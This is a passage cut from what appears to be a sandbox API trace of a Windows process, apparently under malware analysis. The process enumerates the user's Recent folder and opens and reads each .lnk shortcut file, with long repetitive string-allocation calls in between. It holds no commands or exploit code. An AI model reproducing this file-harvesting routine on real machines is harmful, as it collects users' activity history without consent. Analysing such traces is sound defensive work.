len=0x51 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk") returned 1 [0076.556] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\A8IAMc.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk") returned 1 [0076.603] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk", len=0x51 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk") returned 1 [0076.603] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk", len=0x51 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk") returned 1 [0076.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\a8iamc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.604] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x1480 [0076.604] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c08c, nNumberOfBytesToRead=0x1480, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c08c*, lpNumberOfBytesRead=0x18e2f8*=0x1480, lpOverlapped=0x0) returned 1 [0076.604] CloseHandle (hObject=0x3f8) returned 1 [0076.605] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.605] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9df3aea0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9df3aea0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9df3aea0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x0, cFileName="aOnv.lnk", cAlternateFileName="")) returned 1 [0076.605] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\A8IAMc.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\aOnv.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\aOnv.lnk") returned 1 [0076.605] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\aOnv.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\aOnv.lnk") returned 1 [0076.605] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\aOnv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\aOnv.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\aOnv.lnk") returned 1 [0076.605] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk") returned 1 [0076.605] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\aOnv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk") returned 1 [0076.605] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk") returned 1 [0076.605] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk") returned 1 [0076.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\aonv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.605] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x221 [0076.605] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c0a4, nNumberOfBytesToRead=0x221, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c0a4*, lpNumberOfBytesRead=0x18e2f8*=0x221, lpOverlapped=0x0) returned 1 [0076.606] CloseHandle (hObject=0x3f8) returned 1 [0076.606] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.606] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce65c0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0076.606] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aOnv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AutomaticDestinations", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AutomaticDestinations") returned 1 [0076.606] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AutomaticDestinations", len=0x5d | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AutomaticDestinations", len=0x5d | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e388*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e388*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e37c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.607] SysReAllocStringLen (in: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x18e37c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x455c158*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", len=0x5c | out: pbstr=0x455c158*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0076.608] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4388e0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d4388e0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d4388e0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x19ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="AVJ6FiEz4zaaIViNRlw.flv.lnk", cAlternateFileName="AVJ6FI~1.LNK")) returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AVJ6FiEz4zaaIViNRlw.flv.lnk", len=0x63 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AVJ6FiEz4zaaIViNRlw.flv.lnk") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AVJ6FiEz4zaaIViNRlw.flv.lnk", len=0x63 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AVJ6FiEz4zaaIViNRlw.flv.lnk") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AVJ6FiEz4zaaIViNRlw.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AVJ6FiEz4zaaIViNRlw.flv.lnk", len=0x63 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AVJ6FiEz4zaaIViNRlw.flv.lnk") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk", len=0x62 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AVJ6FiEz4zaaIViNRlw.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk", len=0x62 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk", len=0x62 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk") returned 1 [0076.608] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk", len=0x62 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk") returned 1 [0076.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\avj6fiez4zaaivinrlw.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.608] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x19ef [0076.608] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c1b8, nNumberOfBytesToRead=0x19ef, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c1b8*, lpNumberOfBytesRead=0x18e2f8*=0x19ef, lpOverlapped=0x0) returned 1 [0076.609] CloseHandle (hObject=0x3f8) returned 1 [0076.609] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.609] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cad9240, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cad9240, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cad9240, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AY5wVsgvxZG.mkv.lnk", cAlternateFileName="AY5WVS~1.LNK")) returned 1 [0076.609] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AVJ6FiEz4zaaIViNRlw.flv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AY5wVsgvxZG.mkv.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AY5wVsgvxZG.mkv.lnk") returned 1 [0076.609] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AY5wVsgvxZG.mkv.lnk", len=0x5b | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AY5wVsgvxZG.mkv.lnk") returned 1 [0076.610] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AY5wVsgvxZG.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AY5wVsgvxZG.mkv.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AY5wVsgvxZG.mkv.lnk") returned 1 [0076.610] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk", len=0x5a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk") returned 1 [0076.610] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\AY5wVsgvxZG.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk") returned 1 [0076.610] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk", len=0x5a | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk") returned 1 [0076.610] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk", len=0x5a | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk") returned 1 [0076.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AY5wVsgvxZG.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ay5wvsgvxzg.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.610] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x4ee [0076.610] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c218, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c218*, lpNumberOfBytesRead=0x18e2f8*=0x4ee, lpOverlapped=0x0) returned 1 [0076.611] CloseHandle (hObject=0x3f8) returned 1 [0076.611] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.611] FindNextFileW (in: 